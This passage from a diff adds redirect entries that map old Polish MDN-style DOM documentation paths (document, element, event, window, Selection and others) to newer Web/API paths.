+/pl/docs/DOM/event.stopPropagation /pl/docs/Web/API/Event/stopPropagation
+/pl/docs/DOM/event.target /pl/docs/Web/API/Event/target
+/pl/docs/DOM/event.timeStamp /pl/docs/Web/API/Event/timeStamp
+/pl/docs/DOM/event.type /pl/docs/Web/API/Event/type
+/pl/docs/DOM/event.view /pl/docs/Web/API/Event/view
+/pl/docs/DOM/form /pl/docs/Web/API/HTMLFormElement
+/pl/docs/DOM/form.acceptCharset /pl/docs/Web/API/HTMLFormElement/acceptCharset
+/pl/docs/DOM/form.action /pl/docs/Web/API/HTMLFormElement/action
+/pl/docs/DOM/form.elements /pl/docs/Web/API/HTMLFormElement/elements
+/pl/docs/DOM/form.encoding /pl/docs/Web/API/HTMLFormElement/encoding
+/pl/docs/DOM/form.enctype /pl/docs/Web/API/HTMLFormElement/enctype
+/pl/docs/DOM/form.length /pl/docs/Web/API/HTMLFormElement/length
+/pl/docs/DOM/form.method /pl/docs/Web/API/HTMLFormElement/method
+/pl/docs/DOM/form.name /pl/docs/Web/API/HTMLFormElement/name
+/pl/docs/DOM/form.reset /pl/docs/Web/API/HTMLFormElement/reset
+/pl/docs/DOM/form.submit /pl/docs/Web/API/HTMLFormElement/submit
+/pl/docs/DOM/form.target /pl/docs/Web/API/HTMLFormElement/target
+/pl/docs/DOM/range /pl/docs/Web/API/Range
+/pl/docs/DOM/stylesheet /pl/docs/Web/API/Stylesheet
+/pl/docs/DOM/stylesheet.cssRules /pl/docs/Web/API/Stylesheet/cssRules
+/pl/docs/DOM/stylesheet.deleteRule /pl/docs/Web/API/Stylesheet/deleteRule
+/pl/docs/DOM/stylesheet.disabled /pl/docs/Web/API/Stylesheet/disabled
+/pl/docs/DOM/stylesheet.href /pl/docs/Web/API/Stylesheet/href
+/pl/docs/DOM/stylesheet.insertRule /pl/docs/Web/API/Stylesheet/insertRule
+/pl/docs/DOM/stylesheet.media /pl/docs/Web/API/Stylesheet/media
+/pl/docs/DOM/stylesheet.ownerRule /pl/docs/Web/API/Stylesheet/ownerRule
+/pl/docs/DOM/stylesheet.parentStyleSheet /pl/docs/Web/API/Stylesheet/parentStyleSheet
+/pl/docs/DOM/stylesheet.title /pl/docs/Web/API/Stylesheet/title
+/pl/docs/DOM/stylesheet.type /pl/docs/Web/API/Stylesheet/type
+/pl/docs/DOM/table /pl/docs/Web/API/HTMLTableElement
+/pl/docs/DOM/table.caption /pl/docs/Web/API/HTMLTableElement/caption
+/pl/docs/DOM/table.tFoot /pl/docs/Web/API/HTMLTableElement/tFoot
+/pl/docs/DOM/table.tHead /pl/docs/Web/API/HTMLTableElement/tHead
+/pl/docs/DOM/window /pl/docs/Web/API/Window
+/pl/docs/DOM/window.alert /pl/docs/Web/API/Window/alert
+/pl/docs/DOM/window.clearInterval /pl/docs/Web/API/Window/clearInterval
+/pl/docs/DOM/window.clearTimeout /pl/docs/Web/API/Window/clearTimeout
+/pl/docs/DOM/window.closed /pl/docs/Web/API/Window/closed
+/pl/docs/DOM/window.content /pl/docs/Web/API/Window/content
+/pl/docs/DOM/window.controllers /pl/docs/Web/API/Window/controllers
+/pl/docs/DOM/window.crypto /pl/docs/Web/API/Window/crypto
+/pl/docs/DOM/window.defaultStatus /pl/docs/Web/API/Window/defaultStatus
+/pl/docs/DOM/window.directories /pl/docs/Web/API/Window/directories
+/pl/docs/DOM/window.document /pl/docs/Web/API/Window/document
+/pl/docs/DOM/window.dump /pl/docs/Web/API/Window/dump
+/pl/docs/DOM/window.focus /pl/docs/Web/API/Window/focus
+/pl/docs/DOM/window.frameElement /pl/docs/Web/API/Window/frameElement
+/pl/docs/DOM/window.frames /pl/docs/Web/API/Window/frames
+/pl/docs/DOM/window.getSelection /pl/docs/Web/API/Window/getSelection
+/pl/docs/DOM/window.name /pl/docs/Web/API/Window/name
+/pl/docs/DOM/window.navigator /pl/docs/Web/API/Window/navigator
+/pl/docs/DOM/window.navigator.appCodeName /pl/docs/Web/API/Navigator/appCodeName
+/pl/docs/DOM/window.navigator.appName /pl/docs/Web/API/Navigator/appName
+/pl/docs/DOM/window.navigator.appVersion /pl/docs/Web/API/Navigator/appVersion
+/pl/docs/DOM/window.navigator.buildID /pl/docs/Web/API/Navigator/buildID
+/pl/docs/DOM/window.navigator.cookieEnabled /pl/docs/Web/API/Navigator/cookieEnabled
+/pl/docs/DOM/window.navigator.javaEnabled /pl/docs/Web/API/Navigator/javaEnabled
+/pl/docs/DOM/window.navigator.language /pl/docs/Web/API/Navigator/language
+/pl/docs/DOM/window.navigator.mimeTypes /pl/docs/Web/API/Navigator/mimeTypes
+/pl/docs/DOM/window.navigator.onLine /pl/docs/Web/API/Navigator/onLine
+/pl/docs/DOM/window.navigator.oscpu /pl/docs/Web/API/Navigator/oscpu
+/pl/docs/DOM/window.navigator.platform /pl/docs/Web/API/Navigator/platform
+/pl/docs/DOM/window.navigator.plugins /pl/docs/Web/API/Navigator/plugins
+/pl/docs/DOM/window.navigator.product /pl/docs/Web/API/Navigator/product
+/pl/docs/DOM/window.navigator.productSub /pl/docs/Web/API/Navigator/productSub
+/pl/docs/DOM/window.navigator.registerContentHandler /pl/docs/Web/API/Navigator/registerContentHandler
+/pl/docs/DOM/window.navigator.registerProtocolHandler /pl/docs/Web/API/Navigator/registerProtocolHandler
+/pl/docs/DOM/window.onload /pl/docs/Web/API/Window/onload
+/pl/docs/DOM/window.open /pl/docs/Web/API/Window/open
+/pl/docs/DOM/window.openDialog /pl/docs/Web/API/Window/openDialog
+/pl/docs/DOM/window.opener /pl/docs/Web/API/Window/opener
+/pl/docs/DOM/window.prompt /pl/docs/Web/API/Window/prompt
+/pl/docs/DOM/window.resizeBy /pl/docs/Web/API/Window/resizeBy
+/pl/docs/DOM/window.resizeTo /pl/docs/Web/API/Window/resizeTo
+/pl/docs/DOM/window.screen.colorDepth /pl/docs/Web/API/Screen/colorDepth
+/pl/docs/DOM/window.scroll /pl/docs/Web/API/Window/scroll
+/pl/docs/DOM/window.scrollByLines /pl/docs/Web/API/Window/scrollByLines
+/pl/docs/DOM/window.scrollByPages /pl/docs/Web/API/Window/scrollByPages
+/pl/docs/DOM/window.scrollTo /pl/docs/Web/API/Window/scrollTo
+/pl/docs/DOM/window.setInterval /pl/docs/Web/API/Window/setInterval
+/pl/docs/DOM/window.setTimeout /pl/docs/Web/API/Window/setTimeout
+/pl/docs/DOM:Artyku%C5%82y /pl/docs/DOM/Artyku%C5%82y
+/pl/docs/DOM:CSS /pl/docs/Web/CSS/CSS_Reference
+/pl/docs/DOM:Dokumentacje /pl/docs/DOM/Dokumentacje
+/pl/docs/DOM:Inne_zasoby /pl/docs/DOM/Inne_zasoby
+/pl/docs/DOM:Przyk%C5%82ady /pl/docs/DOM/Przyk%C5%82ady
+/pl/docs/DOM:Selection /pl/docs/Web/API/Selection
+/pl/docs/DOM:Selection:addRange /pl/docs/Web/API/Selection/addRange
+/pl/docs/DOM:Selection:anchorNode /pl/docs/Web/API/Selection/anchorNode
+/pl/docs/DOM:Selection:anchorOffset /pl/docs/Web/API/Selection/anchorOffset
+/pl/docs/DOM:Selection:collapse /pl/docs/Web/API/Selection/collapse
+/pl/docs/DOM:Selection:collapseToEnd /pl/docs/Web/API/Selection/collapseToEnd
+/pl/docs/DOM:Selection:collapseToStart /pl/docs/Web/API/Selection/collapseToStart
+/pl/docs/DOM:Selection:containsNode /pl/docs/Web/API/Selection/containsNode
+/pl/docs/DOM:Selection:deleteFromDocument /pl/docs/Web/API/Selection/deleteFromDocument
+/pl/docs/DOM:Selection:extend /pl/docs/Web/API/Selection/extend
+/pl/docs/DOM:Selection:focusNode /pl/docs/Web/API/Selection/focusNode
+/pl/docs/DOM:Selection:focusOffset /pl/docs/Web/API/Selection/focusOffset
+/pl/docs/DOM:Selection:getRangeAt /pl/docs/Web/API/Selection/getRangeAt
+/pl/docs/DOM:Selection:isCollapsed /pl/docs/Web/API/Selection/isCollapsed
+/pl/docs/DOM:Selection:rangeCount /pl/docs/Web/API/Selection/rangeCount
+/pl/docs/DOM:Selection:removeAllRanges /pl/docs/Web/API/Selection/removeAllRanges
+/pl/docs/DOM:Selection:removeRange /pl/docs/Web/API/Selection/removeRange
+/pl/docs/DOM:Selection:selectAllChildren /pl/docs/Web/API/Selection/selectAllChildren
+/pl/docs/DOM:Selection:toString /pl/docs/Web/API/Selection/toString
+/pl/docs/DOM:Storage /pl/docs/Web/API/Storage
+/pl/docs/DOM:WRONG_DOCUMENT_ERR_note /pl/docs/DOM/WRONG_DOCUMENT_ERR_note
+/pl/docs/DOM:cssRule /pl/docs/Web/API/CSSRule
+/pl/docs/DOM:dispatchEvent_-_przyk%C5%82ad /pl/docs/DOM/dispatchEvent_-_przyk%C5%82ad
+/pl/docs/DOM:document /pl/docs/Web/API/Document
+/pl/docs/DOM:document.URL /pl/docs/Web/API/Document/URL
+/pl/docs/DOM:document.activeElement /pl/docs/Web/API/Document/activeElement
+/pl/docs/DOM:document.adoptNode /pl/docs/DOM/document.adoptNode
+/pl/docs/DOM:document.alinkColor /pl/docs/Web/API/Document/alinkColor
+/pl/docs/DOM:document.anchors /pl/docs/Web/API/Document/anchors
+/pl/docs/DOM:document.applets /pl/docs/Web/API/Document/applets
+/pl/docs/DOM:document.bgColor /pl/docs/Web/API/Document/bgColor
+/pl/docs/DOM:document.body /pl/docs/Web/API/Document/body
+/pl/docs/DOM:document.characterSet /pl/docs/Web/API/Document/characterSet
+/pl/docs/DOM:document.clear /pl/docs/Web/API/Document/clear
+/pl/docs/DOM:document.close /pl/docs/Web/API/Document/close
+/pl/docs/DOM:document.compatMode /pl/docs/Web/API/Document/compatMode
+/pl/docs/DOM:document.cookie /pl/docs/Web/API/Document/cookie
+/pl/docs/DOM:document.createAttribute /pl/docs/Web/API/Document/createAttribute
+/pl/docs/DOM:document.createDocumentFragment /pl/docs/Web/API/Document/createDocumentFragment
+/pl/docs/DOM:document.createElement /pl/docs/Web/API/Document/createElement
+/pl/docs/DOM:document.createElementNS /pl/docs/DOM/document.createElementNS
+/pl/docs/DOM:document.createEvent /pl/docs/Web/API/Document/createEvent
+/pl/docs/DOM:document.createRange /pl/docs/Web/API/Document/createRange
+/pl/docs/DOM:document.createTextNode /pl/docs/Web/API/Document/createTextNode
+/pl/docs/DOM:document.defaultView /pl/docs/Web/API/Document/defaultView
+/pl/docs/DOM:document.doctype /pl/docs/Web/API/Document/doctype
+/pl/docs/DOM:document.documentElement /pl/docs/Web/API/Document/documentElement
+/pl/docs/DOM:document.domain /pl/docs/Web/API/Document/domain
+/pl/docs/DOM:document.embeds /pl/docs/Web/API/Document/embeds
+/pl/docs/DOM:document.evaluate /pl/docs/DOM/document.evaluate
+/pl/docs/DOM:document.fgColor /pl/docs/Web/API/Document/fgColor
+/pl/docs/DOM:document.firstChild /pl/docs/Web/API/Document/firstChild
+/pl/docs/DOM:document.forms /pl/docs/Web/API/Document/forms
+/pl/docs/DOM:document.getElementById /pl/docs/Web/API/Document/getElementById
+/pl/docs/DOM:document.getElementsByName /pl/docs/Web/API/Document/getElementsByName
+/pl/docs/DOM:document.getElementsByTagName /pl/docs/Web/API/Document/getElementsByTagName
+/pl/docs/DOM:document.hasFocus /pl/docs/Web/API/Document/hasFocus
+/pl/docs/DOM:document.height /pl/docs/Web/API/Document/height
+/pl/docs/DOM:document.images /pl/docs/Web/API/Document/images
+/pl/docs/DOM:document.implementation /pl/docs/Web/API/Document/implementation
+/pl/docs/DOM:document.importNode /pl/docs/Web/API/Document/importNode
+/pl/docs/DOM:document.lastModified /pl/docs/Web/API/Document/lastModified
+/pl/docs/DOM:document.linkColor /pl/docs/Web/API/Document/linkColor
+/pl/docs/DOM:document.links /pl/docs/Web/API/Document/links
+/pl/docs/DOM:document.loadOverlay /pl/docs/Web/API/Document/loadOverlay
+/pl/docs/DOM:document.location /pl/docs/Web/API/Document/location
+/pl/docs/DOM:document.namespaceURI /pl/docs/Web/API/Document/namespaceURI
+/pl/docs/DOM:document.open /pl/docs/Web/API/Document/open
+/pl/docs/DOM:document.plugins /pl/docs/Web/API/Document/plugins
+/pl/docs/DOM:document.referrer /pl/docs/Web/API/Document/referrer
+/pl/docs/DOM:document.styleSheets /pl/docs/Web/API/Document/styleSheets
+/pl/docs/DOM:document.title /pl/docs/Web/API/Document/title
+/pl/docs/DOM:document.vlinkColor /pl/docs/Web/API/Document/vlinkColor
+/pl/docs/DOM:document.width /pl/docs/Web/API/Document/width
+/pl/docs/DOM:document.write /pl/docs/Web/API/Document/write
+/pl/docs/DOM:document.writeln /pl/docs/Web/API/Document/writeln
+/pl/docs/DOM:element /pl/docs/Web/API/Element
+/pl/docs/DOM:element.addEventListener /pl/docs/Web/API/Element/addEventListener
+/pl/docs/DOM:element.appendChild /pl/docs/Web/API/Element/appendChild
+/pl/docs/DOM:element.attributes /pl/docs/Web/API/Element/attributes
+/pl/docs/DOM:element.blur /pl/docs/Web/API/Element/blur
+/pl/docs/DOM:element.childNodes /pl/docs/Web/API/Element/childNodes
+/pl/docs/DOM:element.className /pl/docs/Web/API/Element/className
+/pl/docs/DOM:element.click /pl/docs/Web/API/Element/click
+/pl/docs/DOM:element.clientHeight /pl/docs/Web/API/Element/clientHeight
+/pl/docs/DOM:element.clientLeft /pl/docs/DOM/element.clientLeft
+/pl/docs/DOM:element.clientTop /pl/docs/DOM/element.clientTop
+/pl/docs/DOM:element.clientWidth /pl/docs/Web/API/Element/clientWidth
+/pl/docs/DOM:element.cloneNode /pl/docs/Web/API/Element/clientNode
+/pl/docs/DOM:element.createAttribute /pl/docs/Web/API/Document/createAttribute
+/pl/docs/DOM:element.dir /pl/docs/Web/API/Element/dir
+/pl/docs/DOM:element.dispatchEvent /pl/docs/Web/API/Element/dispatchEvent
+/pl/docs/DOM:element.firstChild /pl/docs/Web/API/Element/firstChild
+/pl/docs/DOM:element.focus /pl/docs/Web/API/Element/focus
+/pl/docs/DOM:element.getAttribute /pl/docs/Web/API/Element/getAttribute
+/pl/docs/DOM:element.getAttributeNS /pl/docs/Web/API/Element/getAttributeNS
+/pl/docs/DOM:element.getAttributeNode /pl/docs/Web/API/Element/getAttributeNode
+/pl/docs/DOM:element.getAttributeNodeNS /pl/docs/Web/API/Element/getAttributeNodeNS
+/pl/docs/DOM:element.getElementsByTagName /pl/docs/DOM/element.getElementsByTagName
+/pl/docs/DOM:element.getElementsByTagNameNS /pl/docs/Web/API/Element/getElementsByTagNameNS
+/pl/docs/DOM:element.hasAttribute /pl/docs/Web/API/Element/hasAttribute
+/pl/docs/DOM:element.hasAttributeNS /pl/docs/Web/API/Element/hasAttributeNS
+/pl/docs/DOM:element.hasAttributes /pl/docs/Web/API/Element/hasAttributes
+/pl/docs/DOM:element.hasChildNodes /pl/docs/Web/API/Element/hasChildNodes
+/pl/docs/DOM:element.id /pl/docs/Web/API/Element/id
+/pl/docs/DOM:element.innerHTML /pl/docs/Web/API/Element/innerHTML
+/pl/docs/DOM:element.insertBefore /pl/docs/Web/API/Element/insertBefore
+/pl/docs/DOM:element.lang /pl/docs/Web/API/Element/lang
+/pl/docs/DOM:element.lastChild /pl/docs/Web/API/Element/lastChild
+/pl/docs/DOM:element.length /pl/docs/Web/API/Element/length
+/pl/docs/DOM:element.localName /pl/docs/Web/API/Element/localName
+/pl/docs/DOM:element.name /pl/docs/Web/API/Element/name
+/pl/docs/DOM:element.namespaceURI /pl/docs/Web/API/Element/namespaceURI
+/pl/docs/DOM:element.nextSibling /pl/docs/Web/API/Element/nextSibling
+/pl/docs/DOM:element.nodeName /pl/docs/Web/API/Element/nodeName
+/pl/docs/DOM:element.nodeType /pl/docs/Web/API/Element/nodeType
+/pl/docs/DOM:element.nodeValue /pl/docs/Web/API/Element/nodeValue
+/pl/docs/DOM:element.normalize /pl/docs/Web/API/Element/normalize
+/pl/docs/DOM:element.offsetHeight /pl/docs/Web/API/Element/offsetHeight
+/pl/docs/DOM:element.offsetLeft /pl/docs/Web/API/Element/offsetLeft
+/pl/docs/DOM:element.offsetParent /pl/docs/Web/API/Element/offsetParent
+/pl/docs/DOM:element.offsetTop /pl/docs/DOM/element.offsetTop
+/pl/docs/DOM:element.offsetWidth /pl/docs/Web/API/Element/offsetWidth
+/pl/docs/DOM:element.onclick /pl/docs/Web/API/Element/onclick
+/pl/docs/DOM:element.onkeydown /pl/docs/DOM/element.onkeydown
+/pl/docs/DOM:element.onkeypress /pl/docs/Web/API/Element/onkeypress
+/pl/docs/DOM:element.onkeyup /pl/docs/Web/API/Element/onkeyup
+/pl/docs/DOM:element.onmousedown /pl/docs/Web/API/Element/onmousedown
+/pl/docs/DOM:element.onmousemove /pl/docs/Web/API/Element/onmousemove
+/pl/docs/DOM:element.onmouseover /pl/docs/DOM/element.onmouseover
+/pl/docs/DOM:element.ownerDocument /pl/docs/Web/API/Element/ownerDocument
+/pl/docs/DOM:element.parentNode /pl/docs/Web/API/Element/parentNode
+/pl/docs/DOM:element.prefix /pl/docs/Web/API/Element/prefix
+/pl/docs/DOM:element.previousSibling /pl/docs/Web/API/Element/previousSibling
+/pl/docs/DOM:element.removeAttribute /pl/docs/Web/API/Element/removeAttribute
+/pl/docs/DOM:element.removeAttributeNS /pl/docs/Web/API/Element/removeAttributeNS
+/pl/docs/DOM:element.removeAttributeNode /pl/docs/Web/API/Element/removeAttributeNode
+/pl/docs/DOM:element.removeChild /pl/docs/Web/API/Element/removeChild
+/pl/docs/DOM:element.removeEventListener /pl/docs/DOM/element.removeEventListener
+/pl/docs/DOM:element.replaceChild /pl/docs/Web/API/Element/replaceChild
+/pl/docs/DOM:element.scrollHeight /pl/docs/DOM/element.scrollHeight
+/pl/docs/DOM:element.scrollLeft /pl/docs/Web/API/Element/scrollLeft
+/pl/docs/DOM:element.scrollTop /pl/docs/Web/API/Element/scrollTop
+/pl/docs/DOM:element.scrollWidth /pl/docs/Web/API/Element/scrollWidth
+/pl/docs/DOM:element.setAttribute /pl/docs/Web/API/Element/setAttribute
+/pl/docs/DOM:element.setAttributeNS /pl/docs/Web/API/Element/setAttributeNS
+/pl/docs/DOM:element.setAttributeNode /pl/docs/Web/API/Element/setAttributeNode
+/pl/docs/DOM:element.setAttributeNodeNS /pl/docs/Web/API/Element/setAttributeNodeNS
+/pl/docs/DOM:element.style /pl/docs/Web/API/Element/style
+/pl/docs/DOM:element.tabIndex /pl/docs/Web/API/Element/tabIndex
+/pl/docs/DOM:element.tagName /pl/docs/Web/API/Element/tagName
+/pl/docs/DOM:element.textContent /pl/docs/Web/API/Element/textContent
+/pl/docs/DOM:event /pl/docs/Web/API/Event
+/pl/docs/DOM:event.altKey /pl/docs/Web/API/Event/altKey
+/pl/docs/DOM:event.bubbles /pl/docs/Web/API/Event/bubbles
+/pl/docs/DOM:event.button /pl/docs/Web/API/Event/button
+/pl/docs/DOM:event.cancelBubble /pl/docs/Web/API/Event/cancelBubble
+/pl/docs/DOM:event.cancelable /pl/docs/Web/API/Event/cancelable
+/pl/docs/DOM:event.charCode /pl/docs/Web/API/Event/charCode
+/pl/docs/DOM:event.clientX /pl/docs/Web/API/Event/clientX
+/pl/docs/DOM:event.clientY /pl/docs/Web/API/Event/clientY
+/pl/docs/DOM:event.ctrlKey /pl/docs/Web/API/Event/ctrlKey
+/pl/docs/DOM:event.currentTarget /pl/docs/Web/API/Event/currentTarget
+/pl/docs/DOM:event.detail /pl/docs/Web/API/Event/detail
+/pl/docs/DOM:event.eventPhase /pl/docs/Web/API/Event/eventPhase
+/pl/docs/DOM:event.initEvent /pl/docs/Web/API/Event/initEvent
+/pl/docs/DOM:event.initKeyEvent /pl/docs/DOM/event.initKeyEvent
+/pl/docs/DOM:event.initMouseEvent /pl/docs/Web/API/Event/initMouseEvent
+/pl/docs/DOM:event.initUIEvent /pl/docs/Web/API/Event/initUIEvent
+/pl/docs/DOM:event.isChar /pl/docs/Web/API/Event/isChar
+/pl/docs/DOM:event.keyCode /pl/docs/Web/API/Event/keyCode
+/pl/docs/DOM:event.layerX /pl/docs/Web/API/Event/layerX
+/pl/docs/DOM:event.layerY /pl/docs/Web/API/Event/layerY
+/pl/docs/DOM:event.metaKey /pl/docs/Web/API/Event/metaKey
+/pl/docs/DOM:event.pageX /pl/docs/Web/API/Event/pageX
+/pl/docs/DOM:event.pageY /pl/docs/Web/API/Event/pageY
+/pl/docs/DOM:event.preventDefault /pl/docs/DOM/event.preventDefault
+/pl/docs/DOM:event.relatedTarget /pl/docs/Web/API/Event/relatedTarget
+/pl/docs/DOM:event.screenX /pl/docs/Web/API/Event/screenX
+/pl/docs/DOM:event.screenY /pl/docs/Web/API/Event/screenY
+/pl/docs/DOM:event.shiftKey /pl/docs/Web/API/Event/shiftKey
+/pl/docs/DOM:event.stopPropagation /pl/docs/Web/API/Event/stopPropagation
+/pl/docs/DOM:event.target /pl/docs/Web/API/Event/target
+/pl/docs/DOM:event.timeStamp /pl/docs/Web/API/Event/timeStamp
+/pl/docs/DOM:event.type /pl/docs/Web/API/Event/type
+/pl/docs/DOM:event.view /pl/docs/Web/API/Event/view
+/pl/docs/DOM:form /pl/docs/Web/API/HTMLFormElement
+/pl/docs/DOM:form.acceptCharset /pl/docs/Web/API/HTMLFormElement/acceptCharset
+/pl/docs/DOM:form.action /pl/docs/Web/API/HTMLFormElement/action
+/pl/docs/DOM:form.elements /pl/docs/Web/API/HTMLFormElement/elements
+/pl/docs/DOM:form.encoding /pl/docs/Web/API/HTMLFormElement/encoding
+/pl/docs/DOM:form.enctype /pl/docs/Web/API/HTMLFormElement/enctype
+/pl/docs/DOM:form.length /pl/docs/Web/API/HTMLFormElement/length
+/pl/docs/DOM:form.method /pl/docs/Web/API/HTMLFormElement/method
+/pl/docs/DOM:form.name /pl/docs/Web/API/HTMLFormElement/name
+/pl/docs/DOM:form.reset /pl/docs/Web/API/HTMLFormElement/reset
+/pl/docs/DOM:form.submit /pl/docs/Web/API/HTMLFormElement/submit
+/pl/docs/DOM:form.target /pl/docs/Web/API/HTMLFormElement/target
+/pl/docs/DOM:range /pl/docs/Web/API/Range
+/pl/docs/DOM:range.intersectsNode /pl/docs/DOM/range.intersectsNode
+/pl/docs/DOM:style /pl/docs/DOM/style
+/pl/docs/DOM:stylesheet /pl/docs/Web/API/Stylesheet
+/pl/docs/DOM:stylesheet.cssRules /pl/docs/Web/API/Stylesheet/cssRules
+/pl/docs/DOM:stylesheet.deleteRule /pl/docs/Web/API/Stylesheet/deleteRule
+/pl/docs/DOM:stylesheet.disabled /pl/docs/Web/API/Stylesheet/disabled
+/pl/docs/DOM:stylesheet.href /pl/docs/Web/API/Stylesheet/href
+/pl/docs/DOM:stylesheet.insertRule /pl/docs/Web/API/Stylesheet/insertRule
+/pl/docs/DOM:stylesheet.media /pl/docs/Web/API/Stylesheet/media
+/pl/docs/DOM:stylesheet.ownerNode /pl/docs/DOM/stylesheet.ownerNode
+/pl/docs/DOM:stylesheet.ownerRule /pl/docs/Web/API/Stylesheet/ownerRule
+/pl/docs/DOM:stylesheet.parentStyleSheet /pl/docs/Web/API/Stylesheet/parentStyleSheet
+/pl/docs/DOM:stylesheet.title /pl/docs/Web/API/Stylesheet/title
+/pl/docs/DOM:stylesheet.type /pl/docs/Web/API/Stylesheet/type
+/pl/docs/DOM:table /pl/docs/Web/API/HTMLTableElement
+/pl/docs/DOM:table.caption /pl/docs/Web/API/HTMLTableElement/caption
+/pl/docs/DOM:table.tFoot /pl/docs/Web/API/HTMLTableElement/tFoot
+/pl/docs/DOM:table.tHead /pl/docs/Web/API/HTMLTableElement/tHead
+/pl/docs/DOM:window /pl/docs/Web/API/Window
+/pl/docs/DOM:window.alert /pl/docs/Web/API/Window/alert
+/pl/docs/DOM:window.captureEvents /pl/docs/DOM/window.captureEvents
+/pl/docs/DOM:window.closed /pl/docs/Web/API/Window/closed
+/pl/docs/DOM:window.content /pl/docs/Web/API/Window/content
+/pl/docs/DOM:window.controllers /pl/docs/Web/API/Window/controllers
+/pl/docs/DOM:window.crypto /pl/docs/Web/API/Window/crypto
+/pl/docs/DOM:window.defaultStatus /pl/docs/Web/API/Window/defaultStatus
+/pl/docs/DOM:window.directories /pl/docs/Web/API/Window/directories
+/pl/docs/DOM:window.document /pl/docs/Web/API/Window/document
+/pl/docs/DOM:window.dump /pl/docs/Web/API/Window/dump
+/pl/docs/DOM:window.focus /pl/docs/Web/API/Window/focus
+/pl/docs/DOM:window.frameElement /pl/docs/Web/API/Window/frameElement
+/pl/docs/DOM:window.frames /pl/docs/Web/API/Window/frames
+/pl/docs/DOM:window.getSelection /pl/docs/Web/API/Window/getSelection
+/pl/docs/DOM:window.name /pl/docs/Web/API/Window/name
+/pl/docs/DOM:window.navigator /pl/docs/Web/API/Window/navigator
+/pl/docs/DOM:window.navigator.appCodeName /pl/docs/Web/API/Navigator/appCodeName
+/pl/docs/DOM:window.navigator.appName /pl/docs/Web/API/Navigator/appName
+/pl/docs/DOM:window.navigator.appVersion /pl/docs/Web/API/Navigator/appVersion
+/pl/docs/DOM:window.navigator.buildID /pl/docs/Web/API/Navigator/buildID
+/pl/docs/DOM:window.navigator.cookieEnabled /pl/docs/Web/API/Navigator/cookieEnabled
+/pl/docs/DOM:window.navigator.javaEnabled /pl/docs/Web/API/Navigator/javaEnabled
+/pl/docs/DOM:window.navigator.language /pl/docs/Web/API/Navigator/language
+/pl/docs/DOM:window.navigator.mimeTypes /pl/docs/Web/API/Navigator/mimeTypes
+/pl/docs/DOM:window.navigator.onLine /pl/docs/Web/API/Navigator/onLine
+/pl/docs/DOM:window.navigator.oscpu /pl/docs/Web/API/Navigator/oscpu
+/pl/docs/DOM:window.navigator.platform /pl/docs/Web/API/Navigator/platform
+/pl/docs/DOM:window.navigator.plugins /pl/docs/Web/API/Navigator/plugins
+/pl/docs/DOM:window.navigator.product /pl/docs/Web/API/Navigator/product
+/pl/docs/DOM:window.navigator.productSub /pl/docs/Web/API/Navigator/productSub
+/pl/docs/DOM:window.navigator.registerContentHandler /pl/docs/Web/API/Navigator/registerContentHandler
+/pl/docs/DOM:window.navigator.registerProtocolHandler /pl/docs/Web/API/Navigator/registerProtocolHandler
+/pl/docs/DOM:window.onload /pl/docs/Web/API/Window/onload
+/pl/docs/DOM:window.open /pl/docs/Web/API/Window/open
+/pl/docs/DOM:window.openDialog /pl/docs/Web/API/Window/openDialog
+/pl/docs/DOM:window.opener /pl/docs/Web/API/Window/opener
+/pl/docs/DOM:window.prompt /pl/docs/Web/API/Window/prompt
+/pl/docs/DOM:window.releaseEvents /pl/docs/DOM/window.releaseEvents
+/pl/docs/DOM:window.resizeBy /pl/docs/Web/API/Window/resizeBy
+/pl/docs/DOM:window.resizeTo /pl/docs/Web/API/Window/resizeTo
+/pl/docs/DOM:window.screen /pl/docs/DOM/window.screen
+/pl/docs/DOM:window.screen.colorDepth /pl/docs/Web/API/Screen/colorDepth
+/pl/docs/DOM:window.scroll /pl/docs/Web/API/Window/scroll
+/pl/docs/DOM:window.scrollBy /pl/docs/DOM/window.scrollBy
+/pl/docs/DOM:window.scrollByLines /pl/docs/Web/API/Window/scrollByLines
+/pl/docs/DOM:window.scrollByPages /pl/docs/Web/API/Window/scrollByPages
+/pl/docs/DOM:window.scrollTo /pl/docs/Web/API/Window/scrollTo
+/pl/docs/DOM:window.setInterval /pl/docs/Web/API/Window/setInterval
+/pl/docs/DOM:window.setTimeout /pl/docs/Web/API/Window/setTimeout
+/pl/docs/DevEdge /pl/docs/Project:DevEdge
+/pl/docs/Developer_Guide /pl/docs/Mozilla/Developer_guide
+/pl/docs/Developer_Guide/Source_Code /pl/docs/Mozilla/Developer_guide/Source_Code
+/pl/docs/Developer_Guide/Source_Code/Pobieranie_kodu_zrodlowego /pl/docs/Mozilla/Developer_guide/Source_Code/Pobieranie_kodu_zrodlowego
+/pl/docs/Dodatki_w_Mozilli_-_FAQ(link) https://addons.mozilla.org/faq.php
+/pl/docs/Dodawanie_wyszukiwarek_ze_stron_WWW /pl/docs/Dodawanie_wyszukiwarek_z_poziomu_stron_WWW
+/pl/docs/Dokumentacja_CSS /pl/docs/Web/CSS/CSS_Reference
+/pl/docs/Dokumentacja_CSS/Rozszerzenia_Mozilli /pl/docs/Web/CSS/Mozilla_Extensions
+/pl/docs/Dokumentacja_CSS/W%C5%82asno%C5%9Bci_szablonu /pl/docs/Web/CSS/CSS_Reference/W%C5%82asno%C5%9Bci_szablonu
+/pl/docs/Dokumentacja_CSS:Rozszerzenia_Mozilli /pl/docs/Web/CSS/Mozilla_Extensions
+/pl/docs/Dokumentacja_CSS:W%C5%82asno%C5%9Bci_szablonu /pl/docs/Web/CSS/CSS_Reference/W%C5%82asno%C5%9Bci_szablonu
+/pl/docs/Dokumentacja_Gecko_DOM/Wprowadzenie_do_DOM /pl/docs/Dokumentacja_Gecko_DOM/Wprowadzenie
+/pl/docs/Dokumentacja_Gecko_DOM/document /pl/docs/Web/API/Document
+/pl/docs/Dokumentacja_Gecko_DOM/element /pl/docs/Web/API/Element
+/pl/docs/Dokumentacja_Gecko_DOM/element.focus /pl/docs/Web/API/Element/focus
+/pl/docs/Dokumentacja_Gecko_DOM/element/appendChild /pl/docs/Web/API/Element/appendChild
+/pl/docs/Dokumentacja_Gecko_DOM/element/blur /pl/docs/Web/API/Element/blur
+/pl/docs/Dokumentacja_Gecko_DOM/element/cloneNode /pl/docs/Web/API/Element/clientNode
+/pl/docs/Dokumentacja_Gecko_DOM/element/focus /pl/docs/Web/API/Element/focus
+/pl/docs/Dokumentacja_Gecko_DOM/element/getAttribute /pl/docs/Web/API/Element/getAttribute
+/pl/docs/Dokumentacja_Gecko_DOM/element/setAttribute /pl/docs/Web/API/Element/setAttribute
